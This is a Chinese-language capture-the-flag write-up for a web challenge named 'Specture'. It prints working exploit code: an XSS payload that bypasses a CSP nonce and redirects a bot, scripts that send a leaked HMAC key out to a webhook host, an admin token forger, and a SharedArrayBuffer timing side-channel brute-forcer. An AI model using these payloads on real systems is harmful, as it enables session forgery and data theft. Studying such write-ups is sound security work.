Web Specture info 思路 二次解析带nonce
XSS->外带Hmac Token Key
->伪造admin token
->getflag
打开文件包一看就是Hint
,看看里面的内容:
1 2 3 4 5 6 7 8 There's no `RCE`, R/W. Only `XSS`. The following hints may help you locate the important codes more quickly: - Line in `app.main.mjs:238` - Function in `src/middleware.mjs:102` - Function in `src/middleware.mjs:112` - Line in `app.assets.mjs:32`
app.main.mjs 获取flag
所需要的权限,需要获得admin
身份。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root.get ('/flag' , cors, csp, ensureAdmin, async (ctx, next) => { let flag = process.env ?.FLAG || 'flag{test_flag}' ; ctx.body = `<pre><code>${flag} </code></pre>` ctx.set ('Content-Type' , 'text/html' ); }); export async function ensureAdmin (ctx, next ) { const tokenData = parseTokenData (ctx); if (!tokenData || tokenData.role !== 'admin' ) { return ctx.throw (401 ); } ctx.token = tokenData; await next (); }
关注源代码中设置的CSP
: code-tabs @tab src/middleware.mjs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 export async function csp (ctx, next ) { const nonce = ctx.nonce || crypto.randomBytes (18 ).toString ('base64' ).replace (/[^a-zA-Z0-9]/g , '' ); let srcOriginPrefix = 'http://localhost' ; let assetsSrc = srcOriginPrefix + ':' + Config ["assets_port" ].toString (); ctx.set ('Content-Security-Policy' , [ ['default-src' , `'self'` ], ['script-src' , `'nonce-${nonce} '` , 'blob:' , assetsSrc], ['worker-src' , `'self'` , 'blob:' ], ['style-src' , `'nonce-${nonce} '` , 'blob:' ], ['connect-src' , `'self'` , 'https:' ], ['object-src' , `'none'` ], ['base-uri' , `'self'` ], ['frame-src' , `'self'` , 'https://challenges.cloudflare.com' ] ].map (a => a.join (' ' )).join (';' )); await next (); }
要绕过CSP
进行XSS
,关注CSP
中的script-src
字段,设置为需要正确的nonce
才能执行. src/middleware.ejs
:collapsed-lines 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 export async function enableSAB (ctx, next ) { ctx.set ('Content-Type' , 'text/html' ); ctx.set ('Cross-Origin-Opener-Policy' , 'same-origin' ); ctx.set ('Cross-Origin-Embedder-Policy' , 'require-corp' ); await next (); } export async function template (ctx, next ) { function renderContentWithArgs (content, data ) { return content.replace (/{{ *([a-zA-Z$][a-zA-Z0-9_$]*) *}}/g , (_, key ) => { if (Object .prototype .hasOwnProperty .call (data, key)) { if (typeof data[key] === 'undefined' ) return 'undefined' ; if (data[key] === null ) return 'null' ; return data[key].toString (); } else { return '' ; } }); } ctx.render = async function (filepath, data ) { try { let content = fs.readFileSync (path.resolve (filepath), 'utf-8' ); content = content.replace (/{{ *#loop *([a-zA-Z$][a-zA-Z0-9_$]*) *}}([\s\S]*?){{ *\/loop *}}/g , (_, key, block ) => { if (Object .prototype .hasOwnProperty .call (data, key)) { let arr = data[key]; return arr.map (item => renderContentWithArgs (block, item)).join ('' ); } else { return '' ; } }); content = content.replace (/{{ *#if *([\s\S]*?) *}}([\s\S]*?){{ *\/if *}}/g , (_, condition, block ) => { if (Boolean (vm.runInNewContext (condition, data))) { return renderContentWithArgs (block, data); } else { return '' ; } }); content = renderContentWithArgs (content, data); ctx.body = content; if (filepath.endsWith ('.html' )) { ctx.set ('Content-Type' , 'text/html' ); } } catch (e) { ctx.body = 'Internal Server Error' ; ctx.status = 500 ; console .error (ctx.request .url , e); } } await next (); }
src/middleware.ejs 默认逻辑会渲染两次,会将用户输入动态渲染为实际内容,这导致了注入的script
标签获取到了nonce
并绕过了CSP
,成功导致了XSS
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 app.use (async (ctx, next) => { if (ctx.path === '/share-view.dev.js' ) { let array_string = "[" + Config ["token_key" ].split ('' ).map (e => e.charCodeAt (0 )).join (',' ) + ']' ; const rnd_string = (n = 0 ) => [...Array (n)].map (() => (~~(Math .random () * 36 )).toString (36 )).join ('' ); await ctx.render ('assets/share-view.dev.js' , { token_key : array_string, func_name : '_' + rnd_string (17 ), wrapper_name : '_' + rnd_string (16 ), }); ctx.set ('Content-Type' , 'application/javascript' ); } else { await next (); } })
assets/share-view.dev.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 const checker = (() => { function {{ func_name }}(s, t = 0 ) { try { const X = Uint32Array ; const tk = {{ token_key }}; const p1 = new X (32 ), p2 = new X (32 ); for (let i = 0 ; i < tk.length ; i++) p1[i] = tk[i]; for (let i = 0 ; i < s.length ; i++) p2[i] = s.charCodeAt (i); return function ( ) { for (let i = t; i < 32 ; i++) { if (p1[i] - p2[i] !== 0 ) { return !1 ; } } return !0 ; } } catch (e) { return !1 ; } } const {{ wrapper_name }} = (s, t ) => { return {{ func_name }}(s, t); } const wrapper = (...g ) => { return {{ wrapper_name }}(...g); } return wrapper; })()
此处存在token_key
泄露,通过XSS获取token_key
后可伪造admin
身份. 题目本意是想通过Specture
侧信道漏洞泄露token_key
,然而可以让bot
通过meta
跳转外带token_key
. 前端对输入自动进行了转义,向后端直接发送请求进行绕过. payload
1 2 </code > <meta http-equiv ="refresh" content ="0; url='<http://192.168.136.1:7000/exp.html>'" >
exp.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <!DOCTYPE html > <html > <head > <title > test</title > </head > <body > <script > const send_data = function (data ){ var x = new XMLHttpRequest (); x.open ('GET' ,'<https://webhook.site/ce696bba-423c-42a8-9607-304316761396/?data=>' +encodeURI (data),true ); x.send (); } var xhr = new XMLHttpRequest (); xhr.open ("GET" , "<http://localhost:3001/share-view.dev.js>" ); xhr.onreadystatechange = function ( ) { try { send_data (xhr.responseText ); } catch (e){ console .log (e); } }; xhr.send (); </script > </body > </html >
外带获取token_key
后伪造admin token
后访问/flag
即可获取flag. 或者也可以用fetch
:
1 2 3 4 5 6 7 8 9 10 11 12 13 <script > fetch ('http://localhost:3001/share-view.dev.js' ) .then (response => response.text ()) .then (data => { const match = data.match (/const tk = \[(.*?)\]/ ); if (match && match[1 ]) { data = match[1 ] } fetch ('https://SERVER/?' +window .btoa (data)) }) .catch (error => { console .error ('Error fetching the resource:' , error); }); </script >
token.mjs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import crypto from 'node:crypto' ;const XOR_KETBUF = Buffer .from ([0x11 , 0x45 , 0x14 ]);function xorBuffer (databuf, keybuf ) { let res = Buffer .alloc (databuf.length ); for (let i = 0 ; i < databuf.length ; i++) { res[i] = databuf[i] ^ keybuf[i % keybuf.length ]; } return res; } function tobase64 (buf, removePadding = true ) { return Buffer .from (buf).toString ('base64' ).replace (/=/g , '' ); } function frombase64 (str ) { return Buffer .from (str, 'base64' ); } function sign (json, secret ) { let data_buf = Buffer .from (JSON .stringify (json)); let xor_buf = Buffer .from (XOR_KETBUF ); let salt_buf = crypto.randomBytes (16 ); let hash = crypto.createHmac ('sha256' , secret); let encdata = Buffer .concat ([xorBuffer (Buffer .from (data_buf), xor_buf), salt_buf]); hash.update (encdata); let sig_buf = hash.digest (); let token = tobase64 (data_buf) + '.' + tobase64 (Buffer .concat ([xorBuffer (salt_buf, xor_buf), sig_buf])); return token; } function verify (token, secret ) { let [enc_data, enc_p2] = token.split ('.' ); let data_buf = frombase64 (enc_data); let p2_buf = frombase64 (enc_p2); let hash_bytelen = 32 ; let salt_buf = xorBuffer (p2_buf.subarray (0 , p2_buf.length - hash_bytelen), XOR_KETBUF ); let sig_buf = p2_buf.subarray (p2_buf.length - hash_bytelen); let hash = crypto.createHmac ('sha256' , secret); hash.update (Buffer .concat ([xorBuffer (data_buf, XOR_KETBUF ), salt_buf])); let expected_sig_buf = hash.digest (); if (Buffer .compare (sig_buf, expected_sig_buf) !== 0 ) { return null ; } else { return JSON .parse (data_buf); } } export default class TokenManager { constructor (secret ) { this .sign = (json ) => sign (json, secret); this .verify = (token ) => verify (token, secret); this .data = (token ) => JSON .parse (frombase64 (token.split ('.' )[0 ]).toString ()); } }
伪造生成admin_token
@tab admin_token_generator.js
:collapsed-lines 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 const crypto = require ('crypto' );const XOR_KEYBUF = Buffer .from ([0x11 , 0x45 , 0x14 ]);function tobase64 (buf, removePadding = true ) { return Buffer .from (buf).toString ('base64' ).replace (/=/g , '' ); } function frombase64 (str ) { return Buffer .from (str, 'base64' ); } function xorBuffer (databuf, keybuf ) { let res = Buffer .alloc (databuf.length ); for (let i = 0 ; i < databuf.length ; i++) { res[i] = databuf[i] ^ keybuf[i % keybuf.length ]; } return res; } function sign (json, secret ) { let data_buf = Buffer .from (JSON .stringify (json)); let xor_buf = Buffer .from (XOR_KEYBUF ); let salt_buf = crypto.randomBytes (16 ); let hash = crypto.createHmac ('sha256' , secret); let encdata = Buffer .concat ([xorBuffer (Buffer .from (data_buf), xor_buf), salt_buf]); hash.update (encdata); let sig_buf = hash.digest (); let token = tobase64 (data_buf) + '.' + tobase64 (Buffer .concat ([xorBuffer (salt_buf, xor_buf), sig_buf])); return token; } function verify (token, secret ) { let [enc_data, enc_p2] = token.split ('.' ); let data_buf = frombase64 (enc_data); let p2_buf = frombase64 (enc_p2); let hash_bytelen = 32 ; let salt_buf = xorBuffer (p2_buf.subarray (0 , p2_buf.length - hash_bytelen), XOR_KEYBUF ); let sig_buf = p2_buf.subarray (p2_buf.length - hash_bytelen); let hash = crypto.createHmac ('sha256' , secret); hash.update (Buffer .concat ([xorBuffer (data_buf, XOR_KEYBUF ), salt_buf])); let expected_sig_buf = hash.digest (); if (Buffer .compare (sig_buf, expected_sig_buf) !== 0 ) { return null ; } else { return JSON .parse (data_buf); } } let token = sign ({ uid : 'testas51d61' , role : 'admin' }, `${token_key} ` );console .log ('Generated Token:' , token);console .log ('Verification Result:' , verify (token, `${token_key} ` ));
获取到token
后携带token
访问/flag
路由即可获取flag
.
侧信道攻击 1 2 3 4 5 6 7 8 9 function checkPassworkd (password ) { const correctPassword = getPassword (); for (let i = 0 ; i < password.length ; i++) { if (password[i] !== correctPassword[i]) { return false ; } } return true ; }
容易发现,传入的密码正确的字符个数越多,则上面代码运行时间越长。假设正确的密码为”hello_world”
,第一次传入的值为”aaaa”
,记录程序运行的时间为t1
;不断修改第一个字符,直到传入为”waaa”
,记录时间为t2
,此时发现t2
稍大于t1
,且多次实验结果稳定。因此我们可以推定密码的第一个字符为’w’
,其他的字符依次类推。在这个例子中,我们利用运行时间的差异,完成了一次旁路攻击。由于一个if判断的耗时是非常短的,因此我们需要非常高精度的时间。 在本题中我们可以利用SharedArrayBuffer
获取高精度时间.从而泄露hmac_key
来进行伪造 注意到题目所给提示指向一处注入响应头的函数:
1 2 3 4 5 6 export async function enableSAB (ctx, next ) { ctx.set ('Content-Type' , 'text/html' ); ctx.set ('Cross-Origin-Opener-Policy' , 'same-origin' ); ctx.set ('Cross-Origin-Embedder-Policy' , 'require-corp' ); await next (); }
结合函数名,这些响应头确保了 SharedArrayBuffer
功能可用。 利用 SharedArrayBuffer
可以实现纳秒级的 CPU 时间获取,并曾存在幽灵漏洞(Spectre)和熔断漏洞(Meltdown)。 由于跨域问题的存在,并且 checker
函数经过了多重封装,我们无法获取到 checker
的函数体内容。但其存在逐位比较,通过超高精度的 CPU
时间,可以爆破出每个位置的字符。
checker
最终函数体如下(已替换变量名以便于阅读):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function (password, pos_start = 0 ) { try { const X = Uint32Array ; const token_key = []; const p1 = new X (32 ), p2 = new X (32 ); for (let i = 0 ; i < token_key.length ; i++) p1[i] = token_key[i]; for (let i = 0 ; i < password.length ; i++) p2[i] = password.charCodeAt (i); return function ( ) { for (let i = pos_start; i < 32 ; i++) { if (p1[i] - p2[i] !== 0 ) { return false ; } } return true ; } } catch (e) { return false ; } }
值得注意的是,由于 CPU
缓存的存在,多次比较可能会造成 CPU
通过缓存或分支预测的判断返回值,因此每次只比较一个位置的字符较准确。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 function pos_check (prefix, pos ) { let alphabet = " !@#$%^&*()`~[]|/';.,<>-=+ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz" ; let plen = 16 ; let guess_uint32 = new Uint32Array (plen); for (let i = 0 ; i < prefix.length ; i++) guess_uint32[i] = prefix.charCodeAt (i); let final = '' ; console .log (`pos: ${pos} ` ); let probe_map = {}; for (let t = 0 ; t < 199 ; t++) { let map = new Uint32Array (alphabet.length ); for (let i = 0 ; i < alphabet.length ; i++) { TimeCtl .reset (); let result = false ; guess_uint32[pos] = alphabet.charCodeAt (i); for (j = pos + 1 ; j < plen; j++) guess_uint32[j] = alphabet.charCodeAt (alphabet.length - 1 ); let guess_str = String .fromCharCode .apply (null , guess_uint32); const check = checker (guess_str, pos); const begin = TimeCtl .now (); result = check (); const end = TimeCtl .now (); if (Object .prototype .hasOwnProperty .call (map, i)) map[i] += end - begin; else map[i] = end - begin; } let maxc = '_' , maxv = 0 ; for (let k = 0 ; k < alphabet.length ; k++) { let key = alphabet[k]; if (!/[a-zA-Z0-9]/ .test (key)) continue ; if (map[k] > maxv) { maxv = map[k]; maxc = key; } } if (/[a-zA-Z0-9]/ .test (maxc)) { if (Object .prototype .hasOwnProperty .call (probe_map, maxc)) probe_map[maxc]++; else probe_map[maxc] = 1 ; } } console .log (probe_map); let maxc = '_' , maxv = 0 ; for (let key in probe_map) { if (probe_map[key] > maxv) { maxv = probe_map[key]; maxc = key; } } final += maxc; return final; }
通过 URL Query Parameter
传递 prefix
和 pos
,并通过刷新网页传入 pos_check
函数获取到每个位置的字符。
基于时间的推断并不每次都能获得预期结果,往往需要多次尝试,基于概率进行推断。 获取到 token_key
后,利用 src/token.mjs
中的函数生成带 admin
身份的 Token
,访问 /flag 路由即可获取到 flag
,此为预期解法,实际难度可能更为困难,出现了出题上的非预期解法。